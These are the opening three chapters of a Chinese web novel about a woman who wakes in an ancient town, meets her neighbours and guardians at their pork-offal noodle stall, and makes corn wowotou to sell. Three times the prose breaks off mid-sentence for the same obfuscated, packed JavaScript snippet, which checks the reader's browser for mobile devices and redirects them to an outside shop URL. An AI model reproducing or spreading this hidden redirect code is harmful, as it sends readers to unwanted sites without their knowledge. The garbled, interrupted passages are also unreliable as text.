《黎娘子的美食日常》 1. 穿越了 “黎长安！开门！快开门！都什么时辰了还不起？鸡都起了！” 清晨，延祥镇的红花巷里，一个壮实的妇人正拎着一只鸡，“砰砰砰”地拍打着一户人家的大门。她力气极大，拍得原本就有些朽坏的木门摇摇晃晃，不时还往下掉着碎屑，眼瞧着力道再大一些，就能整个从门框上脱离了。 栗长安在这震天响的动静里，头脑昏沉地翻了个身。她觉得很困，很想睡，但耳朵里的声音却越来越大、越来越清晰，简直如同邻居家装修的电钻，避无可避，烦人透顶。 ‘哪家发神经大清早扰民啊！’ 她一边发着牢骚，一边想抓起被子把头蒙起来。可手在身边一顿摸索，却什么也没摸到，甚至手下的触感也十分粗糙——总之绝对不是她熟悉的、精心挑选过的软乎乎牛奶绒床上四件套。 栗长安仿佛被糊住的大脑似乎终于清醒了一点。她卡顿一般摸索着身下的“床单”，片刻后猛地睁开眼，一个鲤鱼打挺从床上坐了起来。 这什么鬼！！？？ 她一脸惊恐地打量着四周——破烂的墙壁，挂着蛛网的房梁，嘎吱作响、仿佛下一刻就能塌了的木板床…… 这是哪！？？我家呢？我该不会被卖到哪个山沟沟里了吧！？ 屋外，那妇人还在砸门叫嚷，栗长安循着声音的方向转头，似乎终于听清了那昏睡中搅得她不得安宁的声音。 那是什么人？她在叫谁？【黎】长安？叫我吗？她有口音？ 一股凉意顺着脊背窜上她的天灵盖。 完了完了，环境陌生，外面还有人堵门，她还能跑得掉吗？ 突然，一道甜美可爱的童声在她的脑海中响起。 “早上好，宿主，你终于醒了~！恭喜你成功穿越并绑定了‘好健康’牌美食养生系统。这里是景朝，你目前位于一个名叫‘延祥’的小镇，身份‘黎长安’，是一个父母双亡、幼年生病痴傻了十几年的孤女。” “这个世界不缺乏食材，可饮食的品质却还有很大的提升空间。勤劳善良的穿越者呀，你的出现是一段机缘，这里的人们正期盼着你的帮助。” “请放心，原世界线的你只是陷入了一段短暂的睡眠，而你对这个世界的贡献将成为未来回去的基础，请安心的留下。往后的日子里，我将成为你的导师和助手，帮助你在这个世界开启一段不一样的人生体验~祝我们合作愉快~” 栗长安眨巴了两下眼，当机了。 不过很快，她便消化完了这一串密集的信息，大松一口气——还好还好，是穿越了不是被卖了。更何况她还有金手指，干得好了以后还能回去。 毕竟她也是个小有实力的生活博主，改善饮食品质，提升生活质量，没问题啦！ 只不过……这个机缘怎么就选中她了呢？ 栗长安，不对，现在是黎长安了，努力回忆一番，终于想起自己原本是在西安旅游，做了一身美美的妆造，结果在一个古色古香的酒楼里拍照时，被拖地的衣裙绊了一跤，一头磕上了扎实的木头柜台，然后……然后她就什么都不知道了，再醒来已经在这个全新的世界。 还真是……造化弄人。 她还来不及细品自己的人生奇遇，系统便已经开始催促了。 “宿主先去开门吧，”系统甜甜地说。“门外是你的邻居王婶子，已经拍了很久了，请宿主做好准备，迎接你在这个世界遇到的第一个人吧！” 不是吧！刚穿过来，还什么都不知道呢，这就要赶鸭子上架了吗？ 黎长安欲哭无泪：要是再早点过来就好了！ 但此刻她也耽误不得，于是翻身下床，扯了扯一身又灰又皱、如同腌菜般的衣服，又用手拢了下头发，打开了屋门。 门外是一个不大的院子，四周的土墙已经老旧斑驳，墙根底下的地也又秃又黄，什么也没种，倒是杂草长得精神。几个落灰的簸箕横七竖八地倒在地上，上面还落了几根鸡毛。整个院子一看就长期缺乏打理，破得和她刚才睡的那间屋子不相上下。 黎长安没急着上前。因为她听见，大门外除了王婶子，此时又多了些其他人的声音。 “哎呦王姐，我说你别拍了，”一个年轻点的声音说道，“黎家丫头痴傻你又不是不知道，多费你自己的力气。你那嗓门，一会儿整个镇子的人都听见了。” “就是就是，什么事儿啊这么拍，要紧的话去找乔三他媳妇呗？” “你糊涂啦？乔三两口子这会儿支面摊呢，可顾不上这里。” “那怎么办呀，黎丫头这么久不开门，别不是……” “呸呸呸！大清早的，别说晦气话！说不准就是还在睡呢。” “就王姐这嗓门，她还能睡得着？要不搬个梯子进去看看得了。” “这会儿去哪搬梯子啊，干脆把门推了吧，我看黎家这门也差不多了。王姐汉子不就是木匠吗，回头要是没啥事再给装上去就行了。” 门外的妇人们你一言我一语，七嘴八舌间，眼瞅着就要事态升级，从拍门变成入室了。黎长安不敢再观望，赶紧过去开门。 虽然这门够破的，但就她这开局条件，破门也经不起霍霍呀！ 她小跑到门边，拉开门闩，打开了门。 门外正围着几个高矮胖瘦各有不同的妇人，见门突然开了，俱是一愣，叽叽喳喳的讨论声戛然而止，个个都如同被石化了一般，满脸诧异地看着黎长安。 空气一时间有些安静，过分的安静。 妇人们僵在原地，除了眼睛在眨，似乎连大气也顾不上喘。而黎长安也没敢动，两只手扶着门框，一双眼睛从左望到右，又从右望到左，迟疑着开口：“各位姐姐婶子们……早上好？” 这话仿佛是个开关，妇人们登时又齐齐活了过来，左一句右一句，个个都有话说，情绪高涨得简直能把黎长安淹没。 “哎呦！黎丫头怎么瞧着像好了呀！？” “是呢是呢，动作变顺溜了，眼神也有光了！” “说话也不磕巴了！” “都傻十几年了，怎么就突然好了！莫不是黎家两口子在底下攒到功德，开始保佑她了！” 几个妇人甚至往前挤了几步，恨不得凑到黎长安面前，好好看看清楚——黎家的傻丫头不傻了，这可真是稀罕了！ “这是大好事呀！得赶紧告诉乔三两口子去！”她们中最年轻的那个倒是没往前凑，她腿脚比其他人灵便些，便自告奋勇地愿意跑这个远路，转身去叫人了。 说实话，黎长安有点想溜。 突然间直面好几个热情的中年阿姨，她着实是招架不住呀！可惜，她被堵了个结结实实，正被当成个大熊猫从头看到脚。 当然，黎长安也不能白被堵在这儿，她也在打量对面的妇人们。 几人都是三、四十往上的年纪，衣着简素，带着菜篮子或者篓子，大约是出门买菜，听见动静凑过来瞧热闹的。最中间的那个妇人最为高壮，一开口中气十足，想必正是一直在拍门的王婶子。只不过，她的头发衣裳有些凌乱，微微散开的发髻里夹杂着草屑，手上还拎着一只蔫头耷脑的母鸡。 王婶子见黎长安的视线盯着那只鸡，终于想起来自己原本是来干嘛的。她一抬手把鸡怼到了她的面前：“哎，黎长安，你还认得这只鸡吗？” 黎长安：？啊？我该认得吗？鸡不都长一个样？ 她一脸空白的看向王婶子，却见对方恨恨地摇晃着那只鸡：“这是你家的鸡！正好你现在不傻了，好好认认！已经不是第一回飞我家偷吃了！你看看为了抓它，我一早上都被折腾成什么样了！” 她拍拍自己散落的发丝，又抖落下来一点草屑：“给我累的呦！也不知道什么时候飞进去的，院子扑腾得乱七八糟，还要花功夫收拾！菜也被它啄了！我都没要你赔！以后可看好了，把你那些破篱笆破笼子都好好修修，别再给人添麻烦——愣着干什么呀？没看见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491382|202246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我举得累，快把鸡接着啊！” “哦，哦，真不好意思，给婶子添麻烦了。菜什么的，以后会赔的。” 黎长安一边应着，一边手忙脚乱地要去接鸡，却拿不准该从哪里下手好——那只刚才还蔫蔫的母鸡大约是看出了她好欺负，突然挣扎了起来，似乎是想趁换手的功夫，逮个机会再次出逃。 “抓这儿，你抓这儿啊！”王婶子看她那样，急得上前握着黎长安的手就抓到了翅根处。“抓牢了！”她顿了顿，又改变了主意：“算了算了，你也栓不好鸡，还是我来吧。” 说着，她干脆推门进了黎长安的院子，径直往鸡窝处走去，竟是比黎长安这个主人还要熟悉。 其他几个妇人倒是没跟进来，她们挤在门口探头探脑看了会儿，见没再有什么惊天大新闻便都打个招呼散了——菜还没买完呢。 再说了，傻丫头突然好了这样的奇闻，她们可是要急着去和人八卦的！ - 院子里，黎长安蹲在王婶子身边看她栓鸡，见自己也插不上什么手，便一边给她择头发里的草屑，一边卖乖打听。 “婶子，我过去痴傻，许多事情都不明白，想来连自理都是费劲的，能活这么些年，家里还养着鸡，想必是有人一直在照顾我吧？是刚刚几位提到的乔三两口子吗？” “是啊，可不容易了，乔老三和他媳妇，养着一大家子还养了个傻不愣登的你。” 王婶子说着，转头看她一眼，正色道：“你倒是也能简单自理，不算最糟糕的情况。但他们也是真厚道人。要是你没好，只怕还要养你这个拖油瓶一辈子。以后可得好好报答人家啊，是你大恩人呢。” “一定一定，”黎长安笑着应道，“不光是他们，王婶子也一定照顾了我很多，我以后一定好好生活，努力挣钱，多多的报答你们！” 王婶子嗤笑一声，又转过头去：“挣钱？你能挣什么大钱？” 她栓完了鸡，手上也不停，顺带打扫起了鸡窝，示意黎长安看着学。 “刺绣什么的精细活你也不会，还能出去干什么？给人浆洗卖菜也挣不了几个钱，自己吃穿都费劲，难不成要拿嫁人收的彩礼来报答啊？行了，以后我们老了干不动了，你能惦记着回来照顾照顾我们都不错了！” “那哪能呢，报答要趁早，”黎长安一边有样学样地整理，一边笑道：“跟婶子说个稀罕事，我痴傻的这些年，神魂仿佛去了一个很遥远的地方。那里的人住的是高楼广厦，吃的是珍馐佳酿，我一看，这可了不得！便非要留在那里和人学做饭的手艺。后来呀，人家说我学成该出师了，我眼前一黑，再一睁眼，便发现自己的神魂回来了。所以呢，我也不算什么都不会，以后给人家做厨娘也是个出路呀。” “还有这样的事？！”王婶子扭头，眼睛睁得老大。“你吹牛呢吧？住高楼、吃佳酿，那得是神仙吧？！那些炼丹修道的都未必有这等缘分，倒叫你个傻丫头碰上了？” 黎长安心说，傻丫头当然碰不上，但她会编呀！不然一个傻了十几年的姑娘突然康复、举止如常，甚至还无师自通会门手艺，怎么跟人解释？倒不如趁此机会编个好故事，也让她来给自己“赋魅”一回，也许未来还能为自己的事业增添助力呢。 当然，这话谁也不能告诉。 黎长安只神秘一笑，卖了个关子：“吹不吹牛的，回头婶子试试我的手艺不就知道了？” 王婶子狐疑的看了她一眼，拍了拍手上的灰，明显不太当回事：“行，那我就等着吃你做的仙家饭了哈。这也差不多了，我也没什么大事，你三叔三婶在码头那边有个面摊，要不带你过去让他们瞧瞧？也给报个平安。” 黎长安刚想应声好，却是说曹操曹操到。 门外，突然由远及近，传来一个妇人急切又激动的声音。 “黎丫头，黎丫头可是好了吗？” 王婶子闻言，咧嘴一乐：“可巧，你三婶子倒是先来了。” 2. 猪杂汤面 黎长安一早就对这位众人口中的“乔三媳妇”充满了好奇，闻言便急急往门外走去——这位心中记挂着原主、费心养了这么多年的长辈，自己是一定得迎一迎的。 可她才刚跨出门槛，便差点与来人撞了个满怀。黎长安连忙伸手扶住那人，那人却也反手抓住了她的衣袖。 “黎丫头，哎呦，天爷啊……”她一边喘气一边道。 妇人大约是一路急跑过来的，额上正挂着汗，两颊泛着红。不过她肤色偏黑，这个红没那么明显，反而让她的肤色看起来更深了一号。她穿着一身洗得发白的粗布衣裳，此刻正用一双激动的、亮闪闪的眼睛上下打量着黎长安，嘴唇开开合合，却什么也没说出来。 “哎呦我说秋云啊，这是黎丫头的傻病转到你身上了吧，话都不会说了。” 王婶子不紧不慢地走了出来，倚在黎家的门框旁打趣。 “秋云”想必是乔三婶子的本名，她闻言朝对方送过去一个白眼，又笑眯眯地看着黎长安：“你别听她的，她一贯嘴坏。” “嘿我就这样，不爱听你把耳朵堵了。” 王婶子哼着回了一句，又道：“既然你来了，我就不管了，我家小宝还等着我呢。” 说罢便往自家去了，对身后黎长安的道谢摆了摆手，权当回应。 乔三婶见她走了，拉着黎长安便往屋里去，嘴里连珠炮似的有说不完的话。 “你怎么突然就好了？周娘子过来告诉我们的时候我们还不信，她信誓旦旦地说是真好了，没想到过来一看啊，还真是！你小时候可机灵了，就是可惜……哎不提了，好在老天有眼，现在那聪明样又回来了！精神可还好？还需要休息吗？” 黎长安笑着摇头：“婶子，我这十几年也休息得够久了，现在精神挺好，身上也没有不舒服的。我想着呢，左右自己也是闲人一个，不想在家呆着。之前听几位姐姐婶婶们说，你和三叔经营着一家面摊，不知道缺不缺人手？我想给你们帮帮忙。叔叔婶婶这么多年养着我，现在我好了，也是该好好回报你们了。” 乔三婶一愣，眼眶有些发热，握着黎长安的手也不自觉地紧了紧。 这么多年她辛苦维持生计，遇到过许多艰难事、不公事、悲伤事，都觉得自己没事能抗住，现在听了这番话，倒有点想落泪了。 多好的孩子呀，刚好就想着报恩，怎么就偏偏天道不公，把她白白耽误了那么多年呢！ 她眨了眨发红的眼睛，把眼泪憋了回去，拍着黎长安的手道：“什么回报不回报的，这都是我们乔家在回报你父母当年的情谊。” “当初我家有难，他们是舍得借了大钱给我们救命的。倒是我们家，人口多，收入却微薄，这些年也没把你养好，只不过送口饭添些衣的事情，你看你，倒是急着来帮我们，叫我怎么好意思。” 黎长安知道，乔三婶不过是说的轻松。原主过去哪怕是只能简单的自理，要照顾起来都要费许多功夫。都说久病床前无孝子，亲生父母尚且如此，更何况她一个没有血缘的小辈？ 她心头动容，手也挽上了乔三婶的胳膊，整个人贴了过去，亲亲热热地卖乖：“叔叔婶婶照顾我这么多年，不是亲的也胜似亲的了，你们若是不嫌弃，以后就是我的亲三叔，亲三婶，都是一家子，怎么能见外呢？就让我去吧！” 乔三婶嘴上嫌弃：“哎呦这么大个人还撒娇。”却没把人推开，脸上的几道笑纹倒是更深了。 “可倒是好，白叫我捡一个好丫头。行了行了，你要是非想去，就换身衣裳。瞧这件，皱皱巴巴的，前两天给你洗了干净的，在衣柜里呢。” 黎长安一早起来未曾梳洗，现下进屋花了些功夫把自己收拾妥当，也顺带在水里看了看如今的容貌——约莫十八九岁的年纪，脸上没什么肉，倒是五官底子不差。可惜因为常年生病，又不出门，面色不大健康，应该还有些营养不良。 但这都不是问题。人啊，只要吃好喝好精神好，状态哪有养不回来的呢？ 她只觉得未来充满期待，浑身都充盈着一股向上的劲儿，冲着等在外面的乔三婶喊道：“婶，我好了，咱们这就走吧！” 乔三婶站在院门边，正冲着黎长安笑。早晨的阳光洒在她的身上，照得她晒黑的肤色透出些明快的橙红，为这个常年操劳的妇人也增添了几分神采。 婶，你就瞧我的吧，往后就都是好日子了！ 黎长安这么想着，冲乔三婶跑去。 她在这个世界的新人生，就要正式开始了！ - 黎长安跟着乔三婶，从红花巷一路走到主街。因为惦记着三叔一个人在面摊上忙不过来，乔三婶走得很快。黎长安也十分理解，和她保持着同样的速度，只是眼睛东张西望，一刻也不得闲。 此时已经过了早市最忙的时间，街道两旁还零零散散剩余着一些菜摊。摊主看起来就是附近的农户，也没有固定的摊位，有的推着个车，有的干脆就是带着一块布，往地上一铺就是一个摊。有些量少的，卖完把布一卷便走了，有的还在吆喝着，兜售着自己剩余的菜。 “刚摘的菌子，最后一堆了！” “新鲜的白萝卜，便宜了便宜了！” “这些，一文钱拿走，就一文，划算吧？明儿还来找我买啊，我这儿实惠！” 就地摆的菜摊后头，是街道两边有铺面摊位的正经店家，多是些卖日用、吃食等的店子。倒是和门口的菜农们相处和谐，不见人出来驱赶。想必是长久这样相处，已经磨合出了彼此都能得利的模式——菜农们反正都是些小买卖，卖完也就走了，只要分散些，不把铺面堵死，真正有需要的客人还是会进店里来。 更何况，那些为了早市过来的人，可是实打实的客流，有可比没有好。 黎长安只觉得眼花缭乱，根本看不过来。 她眼神扫过菜摊上的果蔬，大致观察着品类，还得分一些神给后头的日用、吃食铺子，看看他们都卖些什么。她的耳朵里听着商贩们的报价讲价，听着食铺里的锅碗瓢盆叮咣作响，鼻子里闻着新出锅的面食麦香，不时还要留意避让迎面的挑夫货担…… 一切的一切，俱是最市井烟火、最平安祥和的日常百态。 这就是延祥镇，好像……也挺好的。 - 黎长安一路跟着乔三婶出了早市，拐了几个弯到了另一条街上。 这条街的人流不比早市那边少，却不再以挎着篮子买菜的妇人居多，反而多是些客商、力工等。街上到处都是行李货物、扁担推车，拥挤程度比早市还严重。 “我们家面摊就在这儿了，来，当心着点，别擦着碰着。” 乔三婶一边在货物堆中穿行，一边拉过了黎长安，叫她跟紧些。 这条街的氛围显然不如方才的早市那么悠闲，周围很多人都在赶时间——赶着送货、赶着谈价，又或者赶着登船。 黎长安仍然是在人流中边走边观察，沿街的店铺除了卖吃食的，还有住店的、打铁的、卖药的，以及马行、脚夫行等等，总之都是围着码头打转的生意，各种吆喝声号子声此起彼伏，甚是热闹。 乔三婶带着她又走了一小段，最后在一个面摊前停了下来。 这是个不算大的摊位，前边是摆在街上的三张老木桌，几个零散的客人正在桌边稀里呼噜地大声吃面，后边则是一个窄长的铺面，灶台什么的都在里边。 黎长安看不见锅里煮的什么，但那肉汤的香气正随着蒸腾的热气往外飘散，直往她的鼻子里钻。 她突然觉得，自己腹中空空，确实是饿了。 乔三婶道：“这就是我们的面摊，乔氏猪杂汤面！”接着，又转头冲大锅旁一个正在忙碌的中年大叔喜气洋洋地喊道：“荣郎！你看看谁来了？黎丫头！她是真的好了！” 那大叔闻言抬头，探着身子瞧见了站在乔三婶背后的黎长安。他的眼睛顿时一亮，一张本就和善的面庞笑得简直能开花。 “好啊！好啊！” 他口中不住地感叹，手上的动作却不曾停下。 只见他从锅中捞出煮好的宽面，漏勺顺势在锅边磕上两下，沥掉了多余的面汤，接着转身倒进一个大碗里，又从另一口锅里舀出一勺奶白浓香的汤浇在面上，最后撒上葱花香菜，递给等在面前的客人，整套动作行云流水，极为麻利。 “素面一碗！客官拿好慢用，小心烫。” - 乔三婶见客人出门在桌边坐下了，才拉着黎长安进店。这会儿已经过了早晨店里的高峰时段，招呼完这位客人，暂时就没什么要忙的了。 黎长安打了招呼见了礼，乔三叔连声应好，又笑眯眯地问她：“还没吃吧？叔给你下口面吃，要宽的还是细的？” 黎长安探头看了看台子上备的两种面。面的颜色并不像现代那么白，有些黑黄，看不出来是什么做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491383|202246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。 她又看了看门外桌子上吃的酣畅淋漓的几个食客。 吃得这么香，到底是什么面呢？ “系统系统？”黎长安开始不动声色地呼叫场外求助。 “宿主你好，这是带着麸皮的小麦粉，也就是粗面做的。像白面这种精细处理的粮食价格比较贵，一般只有酒楼或者有钱人家才用呢。粗面虽然口感糙一些，也不好看，但便宜顶饱，很适合这里的消费群体哦。” 原来如此。 黎长安心中了然，见细的比宽的剩的要多些，便要了细的。 “叔给我简单下一口就行，我吃不了许多。”她笑道。 其实……黎长安还挺饿的，但她一是不好意思多吃；二也是担心自己从未吃过这样的面，万一实在不习惯，要多了反倒是自找苦吃了。 乔三叔倒是实在得很，大手在装细面的簸箕里一抓就是一大把：“一口怎么行！吃饱了才有力气！” 黎长安连忙阻拦：“谢谢叔！但我是真吃不了，我身子刚好，一时还得缓缓呢。” 乔三婶觉得有道理，点了点头：“缓缓好，那就多添口汤，好消化。你当她像客人那么能吃呀，少弄点别把丫头撑着了。” 乔三叔摇了摇头，手上还是松了松放掉了一多半，最后就给黎长安下了一小碗面，但加了半勺杂碎，汤也给的足足的，青绿的葱花香菜点缀在奶白的汤上边，实在是漂亮。 - 黎长安端着面到外间寻了个空位坐下，乔三婶也体恤丈夫辛苦，换了他出来坐会儿歇歇脚。 于是，黎长安便一边吹着面汤，一边见到乔三叔从灶台后走了出来。 意外的是，他的腿明显有一条生过病或者受过伤，走起路来脚步一高一矮，不那么便利。 乔三叔走到黎长安面前坐下，见她留意到自己的腿，没事儿人似的笑笑：“不打紧，习惯了。” “叔的腿怎么了？受过伤么？” “是啊，以前跟我大哥一起进山出了意外，还是你爹娘借钱给我们看的呢。多亏他们，我现在基本没有大碍，就是大哥还一直卧床。不过已经很好了，要不是那笔救命钱，人只怕活不下来。” 乔三叔极慈爱地看着黎长安，就像在透过她，寻找她的父母的影子。 “你从前不晓事儿不知道这些。但我们跟你爹娘是打小认识加救命的交情，所以你在叔这儿千万别客气，我们别的没有，这口猪杂汤面是管够的。以后身子好了，可要多吃些。” “好嘞！” 黎长安眉眼弯弯地冲他一笑，夹了一筷子面送入口中，嚼了两下，紧接着目光炯炯：“好吃啊叔！真筋道！” 乔三叔笑得见牙不见眼：“那肯定了，我俩的手艺，都开这么多年了。” 这时，正有几个客人吃完了面，冲乔三叔招呼：“走了啊老乔，下次再来！” 乔三叔连忙去招呼：“哎，慢走，下次再来啊！”又转头对黎长安道：“你慢慢吃，我去收拾收拾。” 黎长安嘴里含着面还没咽下去，闻言赶紧又嚼了两下腾出空来，腮帮子鼓鼓囊囊，口齿含糊地道：“叔歇会儿！一会儿我来！” 乔三叔自然是拒绝了，只叫她好好坐着，慢慢吃。 黎长安争不过他，也不再坚持，埋头一口一口吃了起来。 其实要说句实在话，对于一个吃过了大江南北、甚至各国面食的现代人来说，这碗古代平民、甚至是中下层平民才会吃的猪杂汤面称不上多么惊艳美味。 诚然，汤是鲜醇的，猪杂是软烂的，面是筋道的，但也仅此而已了。 这时的胡椒还很金贵，自然是不会放的。其他的调味料种类也不算多，一大锅汤里可能只有极少的几粒花椒去腥提香，葱姜这类倒是放得足。 至于面条，口感确实是比现代的精面粗糙些。但她本来也没有报太大期待，觉得还在预期之内。 猪杂倒是很不错，处理得干净，切得又均匀，经过长时间的熬煮，很好入口。重要的是价格便宜，对于这附近的客人来说，想必是个不错的荤食选择。 这样的一顿饭，她一个现代人能挑出些不足，但对于这个时代的老百姓来说，即便是素面也有油水有咸味，已经是经济实惠的美味，也难怪乔氏夫妇能在码头边多年经营。 黎长安一边吃，一边心里盘算着日后，渐渐地将一碗面吃了个干干净净，连汤也不剩一滴。 3. 金窝窝 黎长安端着空碗回到店内，对着乔氏夫妇将这碗面夸得天上有地上无，直将两人哄得眉开眼笑。 这会儿没什么客人，夫妇俩都没在灶台前，而是趁着这个空当清洗早上用过的碗。 黎长安自然是想帮忙的，乔三婶见她坚持，便说带她一起去打桶水回来，顺便认认附近的路。 她提着桶，再次跟着乔三婶汇入了人群，目的地是附近公用的水井。 码头这个地方，不是镇子最繁华高档的区域，但因着商贸便利人流大，铺面却不算便宜。所以最邻近码头的位置，都是些鱼行米行船具店杂货铺等。乔氏的面摊承担不起这样的成本，自然开得稍远一点。加上两口子讲干净，也不愿意去打那码头边上的水洗碗，自然是要去水井的。 一路上，黎长安格外留意这附近还有什么其他的吃食在卖。 有一家粥铺，卖小米粥、麦粥和菜粥，搭着杂面包子馒头一类的干粮和腌黄瓜、酸菜、白萝卜等各式下饭小菜。粥自然是没法带，不过干粮和小菜能在店里吃，也能打包带上船。 一家馄饨摊，有荤素两种馅，也卖片儿汤。如果愿意加钱，碗里还能卧个鸡蛋。 两家茶摊，供应粗茶、姜茶、薄荷茶等水饮，还有瓜子干饼一类的吃食。这是码头的刚需，不论是解渴歇脚还是交换消息，都是个好去处，因此也不受饭点的制约，总是坐了不少人。光是这条路上就有两家，附近可能还有。 一家卤味铺，从火腿腊肉到花生豆干，贵的便宜的都有，用纸一包，绳子一系，很快就能带走。 此外，还有些人没有固定的摊位，是从家中做好了烧饼馒头等物，装在簸箩或者布袋里，挂在身上走街串巷，沿街叫卖的。这类价格叫得便宜，1-2文钱一个，多是赶路的人或者想省钱的力工，买了带走或是找个人少的街边一蹲，匆匆果腹。 一路看下来，她发现有一种便宜管饱、方便携带的干粮没见有人卖，那就是窝窝头。玉米面或者小米面做的，黄澄澄金灿灿的窝窝头。 方才她在早市上见过，这两种原材料都不贵，是她和食客都能负担得起的价位。 为了稳妥，她又向乔三婶求证：“婶子，这码头附近有人卖窝窝头吗？” “窝窝头？”乔三婶疑惑地看她：“那是什么？” 难道……这个世界的人还没有这种吃法？ 黎长安心跳不免快了几分，直觉这是个机会。 她没有直接回答，反倒换了个问题——玉米面能做什么食物。 “怎么突然问这个？”乔三婶不解，但还是一五一十，把能想到的都说了。 “做玉米饼子、熬糊糊、面疙瘩，和其他面和一起做杂面馒头，或者是炒干加点调料，出门在外拿水一冲……基本上就是这些吃法了。” 还真没有窝窝头？黎长安心中一喜，开始算起账来。 乔家的面摊卖三个价位的面，清汤的光面3文一碗，加肉汤的素面5文一碗，若加猪杂则是8文一碗。 玉米面4文一斤，能做6个左右的大窝窝头，和面的时候加点现成肉汤，做出来带些滋味，两个差不多能吃饱，可以卖5文钱试试。 至于打包的材料，买纸是一笔额外的开支，暂时不考虑，可以先用洗净晾干的叶子，芦苇叶荷叶都行，水边就有，不用花钱。 这么算下来，如果理想，4文的成本能卖15文左右，约赚11文。如果反响不好，卖不出去的窝窝头留着自己和乔氏夫妇吃，也是换个口味的主食，不会浪费。 反正怎么算都不会赔本就是了！ 心中拿定了主意，黎长安便在回面摊后，把计划和这笔帐细细地和乔氏夫妇说了。买玉米面的本钱，她目前得向夫妇俩借，先买3斤试试，能成功卖出去，以后再多做。 夫妻俩听完，都点头同意。他们的面摊一整天都开着，但过了饭点客人就少了。干粮则不同，这种外带的食物随时都能卖，如果成功也是一笔收入。 从前，他们夫妇不是没想过这种方法，但店里就他们两个，精力实在不济，只能作罢。现在黎长安想干，他们自然没什么不同意的。只不过，做出来的窝窝头，得让他们先尝过。 毕竟，他们可从来没见过黎长安做饭，这丫头手艺如何，还有待考察。 黎长安俏皮地冲他们眨眨眼：“差不了，今天下午就让叔叔婶子瞧瞧！” - 趁着还没到午饭的时段，黎长安跑去河边摘了些宽大的芦苇叶回来。刚洗净晾上，客人就开始多了起来。灶台后的空间狭小，她也不熟悉，便自觉不呆着添乱，拿了块抹布专门负责在外边收拾打扫，招呼客人。 她是这里的生面孔，但动作麻利，声音清亮，倒引得些熟客注意。 “老乔，最近生意不错啊？舍得雇上工人了？” “哎呦，那哪能啊。这是我侄女儿，姓黎，过来搭把手的。” “这样啊，挺好挺好，你们俩人能轻松点了。” “那可不，这丫头可懂事了。来，猪杂面一碗，吃好了有空再来啊！” 外间，黎长安一边招呼着，一边也留意着客人们的消费。 有的宽裕些的，点了正常分量的猪杂面还自己外带来一份卤味；有些想省钱的，几个工友一块儿来，点一份素面两三碗光面，自己把汤匀一匀，每个人都能吃到些肉味。 总得来说，丰俭由人，客人们怎么吃，夫妇俩是绝对不会过问的。 她忙碌了近两个时辰，客人们才终于散去。乔三婶出来歇了会儿脚，便带着钱领着她一起去买玉米面。 等回来时，乔三叔已经准备好了一个大盆，连蒸笼也搬出来清洗好了。 黎长安让他们坐下歇着，自己则将一部分玉米面倒进了盆里。 玉米面缺乏面筋，做之前要先用开水烫，不然不好成型。她均匀的加了些开水，又加了些撇去浮油杂质、干干净净的猪杂汤，用筷子将它们搅成了絮状。 若是按现代的做法，接下来该加面粉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491384|202246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、酵母和鸡蛋、白糖等。可如今酵母没有，其他的又贵，于是她便统统省掉，等面絮不烫手了，就直接开始搓揉，中途又添了点凉水，最终揉成了一个金灿灿的光滑面团。 她揪下一块面团在手心里搓圆，再用大拇指从底下顶进去，转着圈将面团捏薄，捏成了一个中空的塔形。 “诶，黎丫头，为什么要捏成这样？”乔三叔好奇。 “这样好熟。”黎长安笑道，将面团的底部翻过来给他看：“叔你看，厚度均匀，蒸汽还能从这个中空的地方进去，省柴火呢。” “哟，这倒是个好办法，这样就能蒸了？” “是呀，这就完成了，很简单的。” “那我们也来试试。” 乔氏夫妇在一旁看了半天，早就手痒，洗净了手便都各自揪了面团，学着黎长安方才的样子捏了起来。 很快，盆里的面团消失了，垫着玉米叶的蒸笼里，却多出了六个漂漂亮亮的金色“小塔”。 乔三叔盖好盖子，搬去大火上蒸，约摸过了一炷香，窝窝头就蒸好了。 三人围在蒸笼前，盖子一揭，充盈着玉米面香味的热气争先恐后地涌了出来，扑了他们一脸。 “好香啊。”乔三婶闭上眼，深深地吸了口气。 “先分一个尝尝！”黎长安兴致勃勃，拿来碗和筷子，夹出来一个准备晾凉。 乔三叔却是有点等不及，没一会儿便拿起来，一边被烫得“呼呼”的，一边将窝窝头撕成了三份，黎长安不得不拦着他，一定要他等会儿，千万别吃烫食。 三人各自朝自己那份呼呼地吹了几口气，然后迫不及待地尝了一口。 “哎呀，不错呢，带点咸味，这可比啃没味道的面饼子好。”乔三婶眼睛发亮，“黎丫头可以啊！” 黎长安也笑得眉眼弯弯——这可是她在这个世界第一次下厨成功。 “这窝窝翻过来，里面空着的地方还能装卤味和小咸菜，又好吃又方便！”她补充道。 